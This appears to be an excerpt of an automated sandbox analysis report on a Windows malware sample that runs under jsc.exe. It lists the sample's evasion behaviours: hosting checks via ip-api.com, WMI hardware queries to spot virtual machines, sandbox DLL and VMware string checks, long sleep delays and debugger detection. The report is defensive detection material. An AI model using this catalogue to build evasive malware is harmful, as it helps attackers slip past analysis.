Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: jsc.exe, 00000005.00000002.2593731656.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory allocated: 1DB4EEA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Memory allocated: 1DB68710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 4F30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Window / User API: threadDelayed 4015			Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Window / User API: threadDelayed 3247			Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -98063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -97938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -97813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99338s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe TID: 7228	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 39660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 39660	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 39660	Thread sleep time: -99812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 39716	Thread sleep count: 260 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 39660	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99032	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98922	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98813	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98688	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98438	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98296	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98188	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 98063	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 97938	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99338	Jump to behavior
Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 99812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: jsc.exe, 00000005.00000002.2599468948.00000000062A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: jsc.exe, 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: jsc.exe, 00000005.00000002.2587555159.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Code function: 5_2_02DC70A8 CheckRemoteDebuggerPresent,

5_2_02DC70A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Your file name without extension goes here.exe

Memory allocated: page read and write | page guard

